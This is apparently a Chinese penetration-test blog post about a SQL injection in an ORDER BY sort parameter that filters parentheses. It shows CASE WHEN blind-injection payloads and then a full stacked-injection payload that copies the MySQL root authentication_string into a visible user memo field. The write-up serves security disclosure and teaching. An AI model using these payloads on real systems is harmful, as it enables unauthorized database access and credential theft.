记一次Order by过滤括号的Case When盲注到利用变量进行堆叠注入
背景: 背景: 某客户系统存在SQL注入,但是存在括号过滤,后续进行绕过成功证明存在SQL注入风险,最后堆叠注入提升危害。
数据包中存在sort参数:

并且此处是作为order by参数传入:

此处在末尾随意加入字符,提示不存在对应的字段,说明此处可控可拼接:

先尝试exp临界注入:

此处发现整个order by不见了
不断测试发现此处是检测是否存在括号,从左到右匹配左括号和右括号,如果符合条件则关闭order
by排序:


即需要构造不存在括号的注入
此时先找出两个存在的字段:

此处使用account_code和account_mobile进行true或flase的判断
使用CASE WHEN进行盲注,先看True的情况:
account_code and CASE WHEN 1=1 THEN account_code ELSE account_mobile END |

再看False的情况:
account_code and CASE WHEN 1=2 THEN account_code ELSE account_mobile END |

此时排序发送变化,证明sql语句可控
现在已具备true or false的判断条件了,进行盲注:
account_code and CASE WHEN @@version LIKE '1%' THEN account_code ELSE account_mobile END |


此处可得出版本号为5.x
account_code and CASE WHEN current_user LIKE 'a%' THEN account_code ELSE account_mobile END |


得出用户名第一位为s
此时已证明存在SQL语句可控风险
后续研究发现其实可以进行堆叠注入:
此处发现direction处,即ASC处也可控制
即可以先用1;闭合前面的order by,然后在执行新的语句:


此处证明可堆叠注入,存在的表名可查询,不存在的报错,显示表名不存在
此处因为不能使用括号,不能直接查询东西,但可以写入到原本有数据的可视内容中:

此处为一个用户的备注信息,这里先标记为stcs666888,便于后续使用where进行条件限定
这里使用变量法写入数据,然后再查询数据:
select authentication_string from mysql.user limit 1 into @aa; |
此处写入mysql的用户的密码到变量aa中
update sys_account set memo = @aa where memo = 'stcs666888'; |
其中此处的sys_account由sys_role猜测得出:

memo由编辑用户信息得来:

最后还需要用;select 1闭合一下,因为最后有个limit
完整payload:
"sort":"[{\"property\":\"1;\",\"direction\":\"select authentication_string from mysql.user limit 1 into @aa; update sys_account set memo = @aa where memo = 'stcs666888';select 1\"}]" |

效果:

成功执行堆叠注入将root的密码写入到此处备注信息中
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 做 讓 人 远 远 聽 見 的 風!
评论